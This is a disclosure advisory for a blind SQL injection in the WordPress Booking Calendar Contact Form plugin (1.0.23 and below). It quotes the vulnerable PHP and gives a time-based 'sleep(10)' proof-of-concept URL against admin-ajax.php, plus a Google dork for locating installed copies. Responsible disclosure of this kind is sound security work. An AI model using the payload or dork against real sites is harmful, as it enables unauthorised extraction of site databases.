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WordPress Booking Calendar Contact Form 1.0.23 Blind SQL Injection

WordPress Booking Calendar Contact Form 1.0.23 Blind SQL Injection
Posted Feb 8, 2016
Authored by Joaquin Ramirez Martinez

WordPress Booking Calendar Contact Form plugin versions 1.0.23 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 247430b519f3f9c0bf0fff1c088c7ee7

WordPress Booking Calendar Contact Form 1.0.23 Blind SQL Injection

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# Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Unauthenticated blind SQL injection
# Date: 2016-02-08
# Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form
# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]
# Vendor Homepage: http://wordpress.dwbooster.com/
# Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Version: 1.0.23
# Tested on: windows 10 + firefox.

==============
Description
==============

Create a booking form with a reservation calendar or a classic contact form, connected to
a PayPal payment button.
With the **Booking Calendar Contact Form** you can create a **classic contact form** or a
**booking form with a reservation calendar**, connected to a PayPal payment button. The reservation
calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates.

The **reservation calendar** is an optional item, so it can be disabled to create a **general
purpose contact form**.

There are two types of bookings available in the calendar configuration: full day bookings or
partial day bookings. With full day bookings the whole day is blocked / reserved while in partial
day bookings the start and end dates are partially blocked as used for example in
**room/hotel bookings**.

===================
Technical details
===================

Booking calendar plugin is prone to a blind sql injection because fails to sanitize a
parameter used into a sql statement.
The function ´dex_bccf_get_option´ uses a variable called ´CP_BCCF_CALENDAR_ID´ which is not sanitized
and is used as value for the ´id´ of sql parameter.
The vulnerable function is called into many other functions, and one of those is ´dex_bccf_calendar_load2´
which sets the ´CP_BCCF_CALENDAR_ID´ with the following code:

""
$calid = str_replace(TDE_BCCFCAL_PREFIX, "", @$_GET["id"]);
if (!defined('CP_BCCF_CALENDAR_ID') && $calid != '-1')
define('CP_BCCF_CALENDAR_ID', $calid);
""

and then the function ´dex_bccf_get_option´ is called into ´dex_bccf_calendar_load2´ function:

"" ...
$option = dex_bccf_get_option('calendar_overlapped', DEX_BCCF_DEFAULT_CALENDAR_OVERLAPPED);
...
""

The ´dex_bccf_calendar_load2´ function is called when we request the next url:

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent
&dex_bccf_calendar_load2=list&id=<SQLI commands>

A malicious unauthenticated user can exploit the sql injection and obtain all records from database.

==================
Proof of concept
==================

http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent
&dex_bccf_calendar_load2=list&id=1%20and%20sleep(10)

==========
CREDITS
==========

Vulnerability discovered by:
Joaquin Ramirez Martinez [i0 security-lab]
joaquin.ramirez.mtz.lab[at]gmail[dot]com
https://www.facebook.com/I0-security-lab-524954460988147/
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-02-01 vulnerability discovered
2016-02-05 reported to vendor
2016-02-08 released fixed plugin v1.0.24
2016-02-08 public disclosure

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